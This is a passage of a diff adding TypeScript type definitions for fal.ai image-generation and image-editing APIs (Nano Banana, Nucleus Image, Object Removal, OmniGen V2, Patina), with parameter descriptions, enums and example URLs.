URLs of the images to use for image-to-image generation or image editing. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Ordered text, original images, PDF or UTF-8 text documents appended to the current prompt. Uses a native provider. Images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPart8D9C2C32 & { + type: 'text' + }) + | (GeminiImagePartD3D9Ce54 & { + type: 'image' + }) + | (GeminiDocumentPart4Ac48104 & { + type: 'document' + }) + | (GeminiSignaturePart39F8B9Cb & { + type: 'signature' + }) + )[] + /** + * @description Previous native user/model turns. Replay a returned conversation's messages unchanged, including thought signatures; the current prompt is appended as a new user turn. + * @type array | undefined + */ + history?: GeminiMessage5905Bcd7[] + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description The prompt for image editing. + * @minLength 3 + * @maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description Thinking effort. Pro Image supports only high; omit to retain its provider default. An explicit level requests summaries unless include_thoughts overrides it. Thinking cannot be disabled. + */ + thinking_level?: 'high' | null + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiNanoBananaProEditSafetyToleranceEnumKey + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean +} + +export type GeminiTextPartEb739Daf = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' +} + +export type GeminiImagePart15Aa1Cb9 = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' +} + +export const geminiDocumentPart5Ae264C9MimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart5Ae264C9MimeTypeEnumKey = + (typeof geminiDocumentPart5Ae264C9MimeTypeEnum)[keyof typeof geminiDocumentPart5Ae264C9MimeTypeEnum] + +export type GeminiDocumentPart5Ae264C9 = { + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart5Ae264C9MimeTypeEnumKey +} + +export type GeminiVideoPart2104D1Cf = { + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' +} + +export type GeminiSignaturePart14Eef18A = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' +} + +export type GeminiAudioPart87D20Dee = { + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' +} + +export const geminiVideoMessage2402535FRoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessage2402535FRoleEnumKey = + (typeof geminiVideoMessage2402535FRoleEnum)[keyof typeof geminiVideoMessage2402535FRoleEnum] + +export type GeminiVideoMessage2402535F = { + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPartEb739Daf & { + type: 'text' + }) + | (GeminiImagePart15Aa1Cb9 & { + type: 'image' + }) + | (GeminiDocumentPart5Ae264C9 & { + type: 'document' + }) + | (GeminiVideoPart2104D1Cf & { + type: 'video' + }) + | (GeminiSignaturePart14Eef18A & { + type: 'signature' + }) + | (GeminiAudioPart87D20Dee & { + type: 'audio' + }) + )[] + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessage2402535FRoleEnumKey +} + +export type GeminiConversationE6Db0D06 = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessage2402535F[] +} + +export type ImageFileFe75C38F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiNanoBananaProEdit = { + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversationE6Db0D06[] + /** + * @description The edited images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-pro-edit-output.png","file_name":"nano-banana-pro-edit-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFileFe75C38F[] + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] +} + +export const inputFalAiNanoBananaEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiNanoBananaEditOutputFormatEnumKey = + (typeof inputFalAiNanoBananaEditOutputFormatEnum)[keyof typeof inputFalAiNanoBananaEditOutputFormatEnum] + +export const inputFalAiNanoBananaEditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', +} as const + +export type InputFalAiNanoBananaEditAspectRatioKey = + (typeof inputFalAiNanoBananaEditAspectRatio)[keyof typeof inputFalAiNanoBananaEditAspectRatio] + +export const inputFalAiNanoBananaEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiNanoBananaEditSafetyToleranceEnumKey = + (typeof inputFalAiNanoBananaEditSafetyToleranceEnum)[keyof typeof inputFalAiNanoBananaEditSafetyToleranceEnum] + +export type InputFalAiNanoBananaEdit = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiNanoBananaEditOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image. + * @default auto + */ + aspect_ratio?: InputFalAiNanoBananaEditAspectRatioKey | null + /** + * @description The URLs of the images to use for image-to-image generation or image editing. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array + */ + image_urls: string[] + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The prompt for image editing. + * @minLength 3 + * @maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiNanoBananaEditSafetyToleranceEnumKey +} + +export type ImageFileE18Ceac7 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiNanoBananaEdit = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The edited images. + * @example [{"file_name":"nano-banana-multi-edit-output.png","content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-multi-edit-output.png"}] + * @type array + */ + images: ImageFileE18Ceac7[] +} + +export const inputFalAiNucleusImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiNucleusImageOutputFormatEnumKey = + (typeof inputFalAiNucleusImageOutputFormatEnum)[keyof typeof inputFalAiNucleusImageOutputFormatEnum] + +export const inputFalAiNucleusImageAspectRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiNucleusImageAspectRatioEnumKey = + (typeof inputFalAiNucleusImageAspectRatioEnum)[keyof typeof inputFalAiNucleusImageAspectRatioEnum] + +export type InputFalAiNucleusImage = { + /** + * @description If `True`, return media as data URIs instead of persisted CDN files. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiNucleusImageOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Seed for reproducible generation. + */ + seed?: number | null + /** + * @description The negative prompt to use for generation. + * @default '' + * @example blurry, low quality, distorted text + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 2 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The classifier-free guidance scale. + * @minimum 0 + * @maximum 20 + * @default 8 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The output aspect ratio. Nucleus-Image supports a fixed set of aspect-ratio presets. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiNucleusImageAspectRatioEnumKey + /** + * @description The prompt to use for generating the image. + * @example A weathered lighthouse on a rocky coastline at golden hour, waves crashing below, dramatic amber clouds, cinematic realism + * @type string + */ + prompt: string +} + +export type ImageAf2Ca337 = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiNucleusImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageAf2Ca337[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export const inputFalAiObjectRemovalModelEnum = { + low_quality: 'low_quality', + medium_quality: 'medium_quality', + high_quality: 'high_quality', + best_quality: 'best_quality', +} as const + +export type InputFalAiObjectRemovalModelEnumKey = + (typeof inputFalAiObjectRemovalModelEnum)[keyof typeof inputFalAiObjectRemovalModelEnum] + +export type InputFalAiObjectRemoval = { + /** + * @description Text description of the object to remove. + * @example Dog + * @type string + */ + prompt: string + /** + * @description The URL of the image to remove objects from. + * @example https://v3.fal.media/files/zebra/o0DORfJawy-T9P_-NsvLY.png + * @type string + */ + image_url: string + /** + * @default 'best_quality' + * @type string | undefined + */ + model?: InputFalAiObjectRemovalModelEnumKey + /** + * @description Amount of pixels to expand the mask by. Range: 0-50 + * @minimum 0 + * @maximum 50 + * @default 15 + * @type integer | undefined + */ + mask_expansion?: number + /** + * @description Whether to apply input safety moderation. Disabling it requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image04E5576D = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiObjectRemoval = { + /** + * @description The generated images with objects removed. + * @example [{"url":"https://v3.fal.media/files/lion/arYSoJeqWjhbcA8o4budv_85a2309b2c954c85a75120e664adbe17.png","file_name":"85a2309b2c954c85a75120e664adbe17.png","height":768,"content_type":"image/png","file_size":730703,"width":1024}] + * @type array + */ + images: Image04E5576D[] +} + +export type BBoxPromptBase = { + /** + * @description X Min Coordinate of the box (0-1) + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + x_min?: number + /** + * @description X Max Coordinate of the prompt (0-1) + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + x_max?: number + /** + * @description Y Min Coordinate of the box (0-1) + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + y_min?: number + /** + * @description Y Max Coordinate of the prompt (0-1) + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + y_max?: number +} + +export const inputFalAiObjectRemovalBboxModelEnum = { + low_quality: 'low_quality', + medium_quality: 'medium_quality', + high_quality: 'high_quality', + best_quality: 'best_quality', +} as const + +export type InputFalAiObjectRemovalBboxModelEnumKey = + (typeof inputFalAiObjectRemovalBboxModelEnum)[keyof typeof inputFalAiObjectRemovalBboxModelEnum] + +export type InputFalAiObjectRemovalBbox = { + /** + * @description List of bounding box coordinates to erase (only one box prompt is supported) + * @default [] + * @example [{"x_min":0.3595,"x_max":0.6574,"y_min":0.0115,"y_max":0.8175}] + * @type array | undefined + */ + box_prompts?: BBoxPromptBase[] + /** + * @description The URL of the image to remove objects from. + * @example https://v3.fal.media/files/zebra/o0DORfJawy-T9P_-NsvLY.png + * @type string + */ + image_url: string + /** + * @default 'best_quality' + * @type string | undefined + */ + model?: InputFalAiObjectRemovalBboxModelEnumKey + /** + * @description Amount of pixels to expand the mask by. Range: 0-50 + * @minimum 0 + * @maximum 50 + * @default 15 + * @type integer | undefined + */ + mask_expansion?: number + /** + * @description Whether to apply input safety moderation. Disabling it requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image3F0Ef023 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiObjectRemovalBbox = { + /** + * @description The generated images with objects removed. + * @example [{"url":"https://v3.fal.media/files/lion/arYSoJeqWjhbcA8o4budv_85a2309b2c954c85a75120e664adbe17.png","file_name":"85a2309b2c954c85a75120e664adbe17.png","height":768,"content_type":"image/png","file_size":730703,"width":1024}] + * @type array + */ + images: Image3F0Ef023[] +} + +export const inputFalAiObjectRemovalMaskModelEnum = { + low_quality: 'low_quality', + medium_quality: 'medium_quality', + high_quality: 'high_quality', + best_quality: 'best_quality', +} as const + +export type InputFalAiObjectRemovalMaskModelEnumKey = + (typeof inputFalAiObjectRemovalMaskModelEnum)[keyof typeof inputFalAiObjectRemovalMaskModelEnum] + +export type InputFalAiObjectRemovalMask = { + /** + * @description The URL of the image to remove objects from. + * @example https://v3.fal.media/files/zebra/o0DORfJawy-T9P_-NsvLY.png + * @type string + */ + image_url: string + /** + * @default 'best_quality' + * @type string | undefined + */ + model?: InputFalAiObjectRemovalMaskModelEnumKey + /** + * @description Amount of pixels to expand the mask by. Range: 0-50 + * @minimum 0 + * @maximum 50 + * @default 15 + * @type integer | undefined + */ + mask_expansion?: number + /** + * @description The URL of the mask image. White pixels (255) indicate areas to remove. + * @example https://v3.fal.media/files/tiger/7nq9-v-lJtBCPnK1332fr.png + * @type string + */ + mask_url: string + /** + * @description Whether to apply input safety moderation. Disabling it requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image7B8Fb7C0 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiObjectRemovalMask = { + /** + * @description The generated images with objects removed. + * @example [{"url":"https://v3.fal.media/files/lion/arYSoJeqWjhbcA8o4budv_85a2309b2c954c85a75120e664adbe17.png","file_name":"85a2309b2c954c85a75120e664adbe17.png","height":768,"content_type":"image/png","file_size":730703,"width":1024}] + * @type array + */ + images: Image7B8Fb7C0[] +} + +export type ImageSizeB863A47A = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiOmnigenV2ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiOmnigenV2ImageSizeKey = + (typeof inputFalAiOmnigenV2ImageSize)[keyof typeof inputFalAiOmnigenV2ImageSize] + +export const inputFalAiOmnigenV2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiOmnigenV2OutputFormatEnumKey = + (typeof inputFalAiOmnigenV2OutputFormatEnum)[keyof typeof inputFalAiOmnigenV2OutputFormatEnum] + +export const inputFalAiOmnigenV2SchedulerEnum = { + euler: 'euler', + dpmsolver: 'dpmsolver', +} as const + +export type InputFalAiOmnigenV2SchedulerEnumKey = + (typeof inputFalAiOmnigenV2SchedulerEnum)[keyof typeof inputFalAiOmnigenV2SchedulerEnum] + +export type InputFalAiOmnigenV2 = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description CFG range end value. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + cfg_range_end?: number + /** + * @description Negative prompt to guide what should not be in the image. + * @default '(((deformed))), blurry, over saturation, bad anatomy, disfigured, poorly drawn face, mutation, mutated, (extra_limb), (ugly), (poorly drawn hands), fused fingers, messy drawing, broken legs censor, censored, censor_bar' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The Text Guidance scale controls how closely the model follows the text prompt. + * Higher values make the model stick more closely to the prompt. + * + * @minimum 1 + * @maximum 8 + * @default 5 + * @type number | undefined + */ + text_guidance_scale?: number + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeB863A47A | InputFalAiOmnigenV2ImageSizeKey + /** + * @description CFG range start value. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + cfg_range_start?: number + /** + * @description URLs of input images to use for image editing or multi-image generation. Support up to 3 images. + * @default [] + * @example ["https://storage.googleapis.com/falserverless/omnigen/input.png"] + * @type array | undefined + */ + input_image_urls?: string[] + /** + * @description The number of inference steps to perform. + * @minimum 20 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The Image Guidance scale controls how closely the model follows the input images. + * For image editing: 1.3-2.0, for in-context generation: 2.0-3.0 + * + * @minimum 1 + * @maximum 3 + * @default 2 + * @type number | undefined + */ + image_guidance_scale?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiOmnigenV2OutputFormatEnumKey + /** + * @description The prompt to generate or edit an image. Use specific language like 'Add the bird from image 1 to the desk in image 2' for better results. + * @example Make the dress blue + * @example Add a fisherman hat to the woman's head + * @example Replace the sword with a hammer. + * @example Change the dress to blue. + * @example Remove the cat + * @type string + */ + prompt: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The scheduler to use for the diffusion process. + * @default 'euler' + * @type string | undefined + */ + scheduler?: InputFalAiOmnigenV2SchedulerEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageD5F30C64 = { + url: string + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number +} + +export type OutputFalAiOmnigenV2 = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageD5F30C64[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export const inputFalAiPatinaMapsEnum = { + basecolor: 'basecolor', + normal: 'normal', + roughness: 'roughness', + metalness: 'metalness', + height: 'height', +} as const + +export type InputFalAiPatinaMapsEnumKey = + (typeof inputFalAiPatinaMapsEnum)[keyof typeof inputFalAiPatinaMapsEnum] + +export const inputFalAiPatinaOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiPatinaOutputFormatEnumKey = + (typeof inputFalAiPatinaOutputFormatEnum)[keyof typeof inputFalAiPatinaOutputFormatEnum] + +export type InputFalAiPatina = { + /** + * @description Which PBR maps to predict. Defaults to all five. + * @default ["basecolor","normal","roughness","metalness","height"] + * @type array | undefined + */ + maps?: InputFalAiPatinaMapsEnumKey[] + /** + * @description Output image format. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiPatinaOutputFormatEnumKey + /** + * @description Enable the safety checker for images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If True, return images as data URIs instead of CDN URLs. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the input image (photograph or render). + * @example https://storage.googleapis.com/falserverless/gallery/patina-blog-hero-render.png + * @type string + */ + image_url: string + /** + * @description Random seed for reproducible denoising. If not set, a random seed is used. + */ + seed?: number | null +} + +export const mapImageFileMapTypeEnum = { + basecolor: 'basecolor', + normal: 'normal', + roughness: 'roughness', + metalness: 'metalness', + height: 'height', +} as const + +export type MapImageFileMapTypeEnumKey = + (typeof mapImageFileMapTypeEnum)[keyof typeof mapImageFileMapTypeEnum] + +export type MapImageFile = { + /** + * @description Which PBR map this image represents. + * @type string + */ + map_type: MapImageFileMapTypeEnumKey + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiPatina = { + /** + * @description Predicted PBR material maps. + * @example [{"url":"https://storage.googleapis.com/falserverless/gallery/patina-blog-hero-basecolor.png","map_type":"basecolor"},{"url":"https://storage.googleapis.com/falserverless/gallery/patina-blog-hero-normal.png","map_type":"normal"},{"url":"https://storage.googleapis.com/falserverless/gallery/patina-blog-hero-roughness.png","map_type":"roughness"},{"url":"https://storage.googleapis.com/falserverless/gallery/patina-blog-hero-metalness.png","map_type":"metalness"},{"url":"https://storage.googleapis.com/falserverless/gallery/patina-blog-hero-height.png","map_type":"height"}] + * @type array + */ + images: MapImageFile[] + /** + * @description Timing breakdown (seconds). + * @type object | undefined + */ + timings?: { + [key: string]: number + } + /** + * @description The seed used for denoising. + * @type integer + */ + seed: number +} + +export type ImageSizeE6Cac7A3 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiPatinaMaterialUpscaleFactorEnum = { + '0': 0, + '2': 2, + '4': 4, +} as const + +export type InputFalAiPatinaMaterialUpscaleFactorEnumKey = + (typeof inputFalAiPatinaMaterialUpscaleFactorEnum)[keyof typeof inputFalAiPatinaMaterialUpscaleFactorEnum] + +export const inputFalAiPatinaMaterialOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiPatinaMaterialOutputFormatEnumKey = + (typeof inputFalAiPatinaMaterialOutputFormatEnum)[keyof typeof inputFalAiPatinaMaterialOutputFormatEnum] + +export const inputFalAiPatinaMaterialTilingModeEnum = { + both: 'both', + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPatinaMaterialTilingModeEnumKey = + (typeof inputFalAiPatinaMaterialTilingModeEnum)[keyof typeof inputFalAiPatinaMaterialTilingModeEnum] + +export const inputFalAiPatinaMaterialMapsEnum = { + basecolor: 'basecolor', + normal: 'normal', + roughness: 'roughness', + metalness: 'metalness', + height: 'height', +} as const + +export type InputFalAiPatinaMaterialMapsEnumKey = + (typeof inputFalAiPatinaMaterialMapsEnum)[keyof typeof inputFalAiPatinaMaterialMapsEnum] + +export const inputFalAiPatinaMaterialImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiPatinaMaterialImageSizeKey = + (typeof inputFalAiPatinaMaterialImageSize)[keyof typeof inputFalAiPatinaMaterialImageSize] + +export type InputFalAiPatinaMaterial = { + /** + * @description How much to transform the input image. Only used when image_url is provided. + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + strength?: number + /** + * @description Tile size in latent space. Automatically capped to the generated image dimensions on tiled axes (64 = 512px, 128 = 1024px). + * @minimum 32 + * @maximum 256 + * @default 128 + * @type integer | undefined + */ + tile_size?: number + /** + * @description Number of texture images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Tile stride in latent space. Automatically capped to half the effective tile size. + * @minimum 16 + * @maximum 128 + * @default 64 + * @type integer | undefined + */ + tile_stride?: number + /** + * @description Number of denoising steps for texture generation. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Upscale factor for predicted PBR maps via SeedVR seamless upscaling. 0 = no upscaling, 2 = 2× resolution, 4 = 4× resolution. The base texture image is not upscaled. + * @default 0 + * @type number | undefined + */ + upscale_factor?: InputFalAiPatinaMaterialUpscaleFactorEnumKey + /** + * @description Output image format for textures and PBR maps. + * @default 'png' + * @type string | undefined + */ + output_format?: 